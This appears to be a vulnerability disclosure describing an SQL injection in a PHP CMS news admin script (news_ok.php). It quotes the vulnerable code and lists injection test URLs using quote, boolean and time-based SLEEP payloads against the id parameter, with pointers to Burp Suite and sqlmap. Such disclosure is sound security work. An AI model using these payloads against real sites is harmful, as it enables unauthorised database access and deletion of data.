jsjbcyber Update bug_n History

1 contributor

55 lines (48 sloc) | 2.03 KB

```
Build environment with PHP5.
--------------------------------
affected source code file: /admin/news/news_ok.php
--------------------------------
affected source code:

    <?php
        require_once '../../inc/const.php';
        $act = $_GET['act'];
        $id =getvar('id');
        .....
        if ($act=='mod'){
            $record = array(
              'cid'     =>$cid,
              'title'           =>$title,
              'style'           =>$title_color,
              'title_bold'=>$title_bold,
              'title_em'        =>$title_em,
              'title_u' =>$title_u,
              'picture' =>$pic,
              'rank'            =>$rank,
              'iscommend'       =>$iscommend,
              'ispicture'       =>$ispicture,
              'dateline'        =>date("y-m-d H-i-s"),
              'content' =>$content
            );
            $db->update($GLOBALS[databasePrefix].'content',$record,'id='.$id);

            echo "<script>alert('修改成功!');window.location='news_manage.php';</script>";
          }
```

```
30
31          //删除
32          if ($act=='del') {
33            //del_file($id);
34            $db->delete($GLOBALS[databasePrefix].'content',"id=".$id);
35            echo "<script>alert('删除成功!');window.location='news_manage.php';</script>";
36          }
37
38      ?>
39
40
41  --------------------------------
42  affected reason:
43        We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
44  --------------------------------
45  affected executable:
46    After Signing in to the background in advance. Then we can use burpsuit to grab the following UR
47
48    Like this:
49               http://xx.xx.com/admin/news/news_ok.php?act=del&id=2'
50               http://xx.xx.com/admin/news/news_ok.php?act=del&id=2 and 1=1
51               http://xx.xx.com/admin/news/news_ok.php?act=del&id=2 and 1=2
52               http://xx.xx.com/admin/news/news_ok.php?act=del&id=2 RLIKE SLEEP(2)
53
54    And we can see the sql injection problems.
55    Then, we can use tools like sqlmap for more information.
```